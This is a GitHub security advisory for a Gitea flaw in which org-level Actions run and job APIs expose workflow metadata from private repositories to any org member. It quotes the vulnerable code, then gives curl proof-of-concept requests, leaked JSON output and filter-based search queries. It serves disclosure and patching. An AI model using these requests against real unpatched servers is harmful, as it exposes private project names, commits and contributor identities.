Skip to content

Gitea: Cross-Repo Information Disclosure via Org-Level Actions Run/Job APIs

Moderate severity GitHub Reviewed Published Jul 13, 2026 in go-gitea/gitea

Package

gomod code.gitea.io/gitea (Go)

Affected versions

< 1.27.0

Patched versions

1.27.0

Description

Author: Prakhar Porwal
Date: 2026-05-24
Target: Gitea (self-hosted Git service)
Branch tested: main @ b7e95cc48c (development build, go1.26.3)
Component: routers/api/v1/org/action.go (org-level Actions API)
OWASP: API3:2023 Broken Object Property Level Authorization


1. Summary

The org-level Actions REST endpoints

GET /api/v1/orgs/{org}/actions/runs
GET /api/v1/orgs/{org}/actions/jobs

are gated only by reqOrgMembership() + reqToken(). They then call
shared.ListRuns(ctx, ctx.Org.Organization.ID, 0) /
shared.ListJobs(ctx, ctx.Org.Organization.ID, 0, 0, nil), which selects
every action_run / action_run_job row whose repository belongs to the
org — with no per-repository ACL check.

Result: any user who is a member of an organization can enumerate workflow
runs and jobs from every repository in that org, including:

  • private repositories the caller has no team membership for,
  • repositories where the caller has been explicitly denied the repo.actions
    unit,
  • repositories created by other teams the caller is not part of.

Direct per-repo equivalents (GET /api/v1/repos/{owner}/{repo}/actions/runs,
…/jobs/{job_id}/logs, …/runs/{run_id}/jobs) correctly return 404 for the
same caller — proving the org-level surface is the only path that leaks.


2. Affected Code

2.1 Route registration

routers/api/v1/api.go:1647-1652

addActionsRoutes(
    m,
    reqOrgMembership(),   // reqReaderCheck
    reqOrgOwnership(),    // reqOwnerCheck
    org.NewAction(),
)

2.2 Helper that registers run/job listing

routers/api/v1/api.go:908-941

m.Group("/runs", reqToken(), reqReaderCheck, act.ListWorkflowRuns)
m.Get("/runs", reqToken(), reqReaderCheck, act.ListWorkflowRuns)
m.Get("/jobs", reqToken(), reqReaderCheck, act.ListWorkflowJobs)

reqReaderCheck for org-scope = reqOrgMembership() — bare org membership is
enough; no per-repo permission is consulted.

2.3 Handler

routers/api/v1/org/action.go:595-683

func (Action) ListWorkflowJobs(ctx *context.APIContext) {
    shared.ListJobs(ctx, ctx.Org.Organization.ID, 0, 0, nil)
}

func (Action) ListWorkflowRuns(ctx *context.APIContext) {
    shared.ListRuns(ctx, ctx.Org.Organization.ID, 0)
}

2.4 Query construction (no ACL)

routers/api/v1/shared/action.go:138-215

opts := actions_model.FindRunOptions{
    OwnerID:     ownerID,   // ← org ID, NOT user ID
    RepoID:      repoID,    // = 0 at org level
    ListOptions: listOptions,
}
…
runs, total, err := db.FindAndCount[actions_model.ActionRun](ctx, opts)

models/actions/run_list.go:102-110

func (opts FindRunOptions) ToJoins() []db.JoinFunc {
    if opts.OwnerID > 0 {
        return []db.JoinFunc{func(sess db.Engine) error {
            sess.Join("INNER", "repository",
                "repository.id = repo_id AND repository.owner_id = ?", opts.OwnerID)
            return nil
        }}
    }
    return nil
}

The join only constrains repository.owner_id = orgID. There is no
access/team_repo/collaboration join and no
access_model.GetDoerRepoPermission(...) filter — every row in the org is
returned.

The same bug applies to shared.ListJobs, which calls
db.FindAndCount[actions_model.ActionRunJob](ctx, FindRunJobOptions{OwnerID: …})
using an analogous repository join.


3. Steps to Reproduce

3.1 Setup

  • Org 1st-org with one private repo 1st-org-repo.
  • Team Owners contains user admin (org owner).
  • Team 1st-team has zero repositories assigned (units permission
    none for actions, no included repos).
  • User admin2 is a regular user (is_admin = false), member of
    1st-team only — so org member, but no team grants any access to
    1st-org-repo
    .

Verified that admin2 lacks direct access:

$ curl -u admin2:admin@123 -w '[%{http_code}]\n' \
    http://localhost:3001/api/v1/repos/1st-org/1st-org-repo
{"errors":null,"message":"not found","url":""}[404]

$ curl -u admin2:admin@123 -w '[%{http_code}]\n' \
    http://localhost:3001/api/v1/orgs/1st-org/repos
[]
[200]

A workflow file was committed to 1st-org-repo/.gitea/workflows/ci.yml to
produce an action_run:

name: ci
on: push
jobs:
  hello:
    runs-on: ubuntu-latest
    steps:
      - run: echo "SECRET_INFO_FROM_PRIVATE_REPO"

3.2 Trigger

$ curl -u admin2:admin@123 -w '\n[%{http_code}]\n' \
    http://localhost:3001/api/v1/orgs/1st-org/actions/runs

Output (truncated)

{"workflow_runs":[{
  "id":7,
  "url":"http://localhost:3001/api/v1/repos/1st-org/1st-org-repo/actions/runs/7",
  "html_url":"http://localhost:3001/1st-org/1st-org-repo/actions/runs/7",
  "display_title":"add workflow",
  "path":"ci.yml@refs/heads/main",
  "event":"push",
  "run_attempt":1,
  "run_number":1,
  "head_sha":"b7de30c225eaf5c6e5be1fa1a0dafe5045f90d73",
  "head_branch":"main",
  "status":"queued",
  "actor":{"id":1,"login":"admin", … "email":"1+admin@noreply.localhost", …},
  "trigger_actor":{ … "login":"admin" … },
  "repository":{
     "id":4,"name":"1st-org-repo","full_name":"1st-org/1st-org-repo",
     "description":"test123",
     "private":true,
     "clone_url":"http://localhost:3001/1st-org/1st-org-repo.git",
     "ssh_url":"prakhar@localhost:1st-org/1st-org-repo.git",
     
  }
}],"total_count":1}
[200]

Same primitive for jobs:

$ curl -u admin2:admin@123 -w '\n[%{http_code}]\n' \
    http://localhost:3001/api/v1/orgs/1st-org/actions/jobs
{"jobs":[{
  "id":7,
  "run_id":7,
  "name":"hello",
  "labels":["ubuntu-latest"],
  "head_sha":"b7de30c225eaf5c6e5be1fa1a0dafe5045f90d73",
  "head_branch":"main",
  "status":"queued",
  …
}],"total_count":1}
[200]

3.3 search primitives

All query parameters supported by ListRuns/ListJobs work too — turning the
endpoint into a search oracle over private workflow metadata:

# Find runs on a specific branch in private repos:
curl -u admin2:… "http://localhost:3001/api/v1/orgs/1st-org/actions/runs?branch=main"

# Confirm a given commit SHA exists in any private repo of the org:
curl -u admin2:… "http://localhost:3001/api/v1/orgs/1st-org/actions/runs?head_sha=b7de30c2…"

# Filter by actor:
curl -u admin2:… "http://localhost:3001/api/v1/orgs/1st-org/actions/runs?actor=admin"

# Filter by event/status:
curl -u admin2:… "http://localhost:3001/api/v1/orgs/1st-org/actions/runs?event=push&status=failure"

All return matching rows from private repos in the org.


4. Impact

A low-privileged authenticated org member (no team, no repo permission, no
admin) gains, for every private repository in the org:

Field leaked Why it matters
repository.full_name, description, private, clone URLs Existence + topology of private repos
head_sha, head_branch Confirms commits / branch names exist in private repos
path (workflow file) Reveals workflow YAML filenames
event, display_title Commit messages / event types
actor, trigger_actor Internal contributor identities incl. noreply emails
created_at, started_at Activity timing / CI cadence
Pagination + ?head_sha=/?branch=/?actor= filters Full search oracle over private workflow history

Real-world consequences:

  1. Org reconnaissance — confirms existence of private projects, names,
    activity patterns; commit messages and branch names often reveal product
    plans, security fix windows, or release schedules.
  2. Insider-threat amplification — any contractor / interviewee / OSS
    contributor invited to a low-permission team can mine the rest of the
    org's CI history.
  3. Cross-team violation — when an org isolates internal projects via
    teams (e.g. security/ vs infra/ teams), this surface flatly bypasses
    that boundary.
  4. Pivot data — commit SHAs disclosed here unlock subsequent endpoints
    that do check ACLs but accept SHA inputs (e.g. some package / archive
    download paths in third-party tooling that just trusts a SHA).

The same primitive is exposed regardless of token scope, as long as the token
has organization scope, the user is an org member, and the org has any
private repos with action runs.


References

@bircni bircni published to go-gitea/gitea Jul 13, 2026
Published to the GitHub Advisory Database Jul 21, 2026
Reviewed Jul 21, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

EPSS score

Weaknesses

Exposure of Sensitive Information to an Unauthorized Actor

The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. Learn more on MITRE.

Incorrect Authorization

The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check. Learn more on MITRE.

CVE ID

CVE-2026-57897

GHSA ID

GHSA-frpw-3h2q-4jj6

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.